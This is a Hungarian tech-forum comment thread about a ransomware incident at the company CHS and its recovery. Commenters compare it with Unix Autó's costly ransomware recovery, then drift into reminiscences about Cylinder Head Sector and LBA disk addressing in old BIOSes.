Fentebb valaki már linkelte az Unix Autó történetét, ott a végén leírják, hogy a zsarolóvírus fejlesztői valamivel 1 milliárd alatti összeget kértek, de így, hogy nem fizettek, közel 2 milliárd forintba került a helyreállítás. (és nekik volt működő mentésük). Az igazsághoz hozzá tartozik, hogy a helyreállítás alatt átgondolták az eddigi működését a rendszernek, és jelentősen tovább is fejlesztették, ha ezt nem kényszerhelyzetben teszik meg, akkor is valószínűleg több száz millió forint kiadást jelentett volna nekik.
Nagy Péter
Lehet outdated az információm, de annak az ERP-nek nincs bérszámfejtés funkciója. Persze azóta lehet, hogy csináltak hozzá vagy az is lehet, hogy csak mi nem használtuk, passz. Lassan 6 éve nem ezen a szegmensben dolgozok. (Egyébként kb. a magyar számtech nagykereskedelm 60-70%-a ezen a rendszeren fut, elég sokan használják.)
ERP-t hogy bírja kinyírni a zsarolóvírus? Még a DB szervert is letitkosítja?
Igen. A fentebb linkelt Unix Autónál ez történt. Szerencséjükre 30 percenként volt mentés a DB-ről, így 17 percet buktak csak el.
Egyébként az sem ritka egy ERP esetében, hogy bizonyos adatokat fájlokban tárol. (pl. beolvasott számlaképek, stb.)
Nagy Péter
Írtam, hogy rezsiköltség, abban ez mind benne van, lévén a jelentése a fenntartási és működési költség, lásd például rezsióradíj, mint üzleti fogalom.
https://iotguru.cloud
A CHS az egyik cég, amelyért nem hullajtok könnyeket.
Mi van ha nem a véletlen műve…?
Kinyitottak?
A portál már bejön.
szerkt, igen, írják is a főoldalon, hogy helyreálltak.
Azt írják, hogy " a korábbi rendszereinktől függetlenül, alapjaiban újjáépítettük informatikai infrastruktúránkat."
Lehet belépni és jelszót cserélni annak aki érintett.
Egy hét alatt újjáépíteni, az szép teljesítmény! :)
vagy megnyugtató marketing szöveg. :)
Bár a logika is azt diktálja az utóbbi 30 évben, hogy ilyen esetben mindent nulláról újra.
Gondolom csak a business critical és/vagy core van újraépítve.
https://iotguru.cloud
Nem újra, újjá! :)
Hát, arra valóban kevés ennyi idő, pláne, hogy van sok dolguk is.
https://iotguru.cloud
Közben az email is megérkezett a nyitásról.
Aszondja a levél, hogy : "Munkatársaink elérhetőségéért kattintson ide! "
Ez azért elég magas labda jelen esetben..... :)
lol, ez jó :)
CHS-röl nekem mindig a Cylinder Head Sector jut eszembe és a régi szép idők, amiker ezeket kézzel kellet beállítani a BIOS-ban :)
Tényleg! Nem ma volt :) utána jött az LBA?
LBA az a large block volt. Simán lehetett azt is BIOS-ban hegeszteni.
https://naszta.hu
Úgy érted, Logical Block Addressing. "Simán" csak Pentium 1-es BIOS-októl kezdve lehet hegeszteni (bár kései 486-os alaplapok BIOS-ai is tudták ezt). Ha a BIOS nem tudta, akkor lehetett Dynamic Drive Overlay szoftverrel trükközni, vagy SCSI eszközökre váltani (sok pénzért). Manapság már létezik XT-IDE bios is, amivel akár XT-kben is használhatóakká válnak a sok GB-os IDE HDD-k.